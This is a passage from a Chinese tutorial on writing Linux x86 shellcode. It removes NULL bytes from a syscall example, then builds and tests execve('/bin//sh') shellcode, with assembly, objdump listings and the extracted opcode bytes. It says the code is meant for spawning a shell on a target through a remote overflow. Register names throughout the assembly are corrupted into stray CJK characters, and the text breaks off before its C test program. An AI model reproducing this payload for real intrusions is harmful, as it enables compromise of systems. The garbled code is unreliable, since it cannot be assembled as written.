浅入浅出Liunx Shellcode( 三 )



在syscall的例子中操作数$4和$1二进制都只占8位,所以只需要把这两个操作数赋值给AL就可以了,这样就避免了使用EAX寄存器时,系统用NULL填充其他空间 。
我们来修改一下代码看看,把
movl $4,陎
movl $1,離
改为
mov $4,%al
mov $1,%bl
再重新编译连接syscall程序,并且查看一下objdump的结果:
pr0cess@pr0cess:~$ ./syscall
hello,syscall!!!!
pr0cess@pr0cess:~$ objdump -d ./syscall

./syscall: file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074: b0 04 mov $0×4,%al
8048076: b3 01 mov $0×1,%bl
8048078: b9 90 90 04 08 mov $0×8049090,靫
804807d: ba 12 00 00 00 mov $0×12,韝
8048082: cd 80 int $0×80
8048084: b8 01 00 00 00 mov $0×1,陎
8048089: bb 00 00 00 00 mov $0×0,離
804808e: cd 80 int $0×80
pr0cess@pr0cess:~$
看到了,已经成功的把 NULL字符给去掉了,同理可以把下面语句都改写一遍,这样就可以使这个程序作为shellcode运行了 。
下面我们就来编写第一个有实际意义的shellcode,它将打开一个新的shell 。当然,这在本地是没有什么意义,可是当它作为一个远程溢出在目标机器上打开shell的时候,那作用可就不能小视了 。打开一个新的shell我们需要用到execve系统调用,先来看看man手册里是怎么定义这个函数的:
NAME
execve - execute program

SYNOPSIS
#include

int execve(const char *filename, char *const argv[],
char *const envp[]);
可以看到execve系统调用需要3个参数,为了说明怎么使用先来写一个简单的C程序来调用execve函数:
#include
int main()
{
char *sc[2];
sc[0]=”/bin/sh”;
sc[1]= NULL;
execve(sc[0],sc,NULL);
}
通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果:
pr0cess@pr0cess:~$ gcc -o newshell newshell.c
pr0cess@pr0cess:~$ ./newshell
$ exit
pr0cess@pr0cess:~$
新shell已经成功的诞生了!!
为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,代码如下:
.section .text
.globl _start
_start:
xorl 陎,陎
pushl 陎
pushl $0×68732f6e
pushl $0×69622f2f
movl %esp,離
pushl 陎
pushl 離
movl %esp,靫
movb $0xb,%al
int $0×80
来解释一下这段代码,首先为了避免mov赋值带来的00,用一个异或操作来把EAX寄存器清空
xorl 陎,陎
接着将4字节的NULL压栈
pushl 陎
将/bin//sh压栈,保持对齐,第一个参数
pushl $0×68732f6e
pushl $0×69622f2f
将/bin//sh存放到EBX寄存器,第2个参数
movl %esp,離
压4字节的NULL,第3个参数,环境变量为 NULL
pushl 陎
将EBX压栈
pushl 離
把EBX地址存入ECX寄存器
movl %esp,靫
将execve系统调用号11(0xb)压入AL寄存器,消00
movb $0xb,%al
调用int指令进入中断
int $0×80
OK,现在来测试一下这个程序是否能给我们带来一个新的shell
pr0cess@pr0cess:~$ as -o exec.o exec.s
pr0cess@pr0cess:~$ ld -o exec exec.o
pr0cess@pr0cess:~$ ./exec
$ exit
pr0cess@pr0cess:~$
HOHO~~成功执行了!!接着来提取16进制机器码
pr0cess@pr0cess:~$ objdump -d ./exec

./exec: file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054: 31 c0 xor 陎,陎
8048056: 50 push 陎
8048057: 68 6e 2f 73 68 push $0×68732f6e
804805c: 68 2f 2f 62 69 push $0×69622f2f
8048061: 89 e3 mov %esp,離
8048063: 50 push 陎
8048064: 53 push 離
8048065: 89 e1 mov %esp,靫
8048067: b0 0b mov $0xb,%al
8048069: cd 80 int $0×80
pr0cess@pr0cess:~$
放到一个C程序中来完成整个shellcode的编写测试吧
/*
*linux/x86 execve(”/bin//sh/”,["/bin//sh"],NULL) shellcode 23bytes

推荐阅读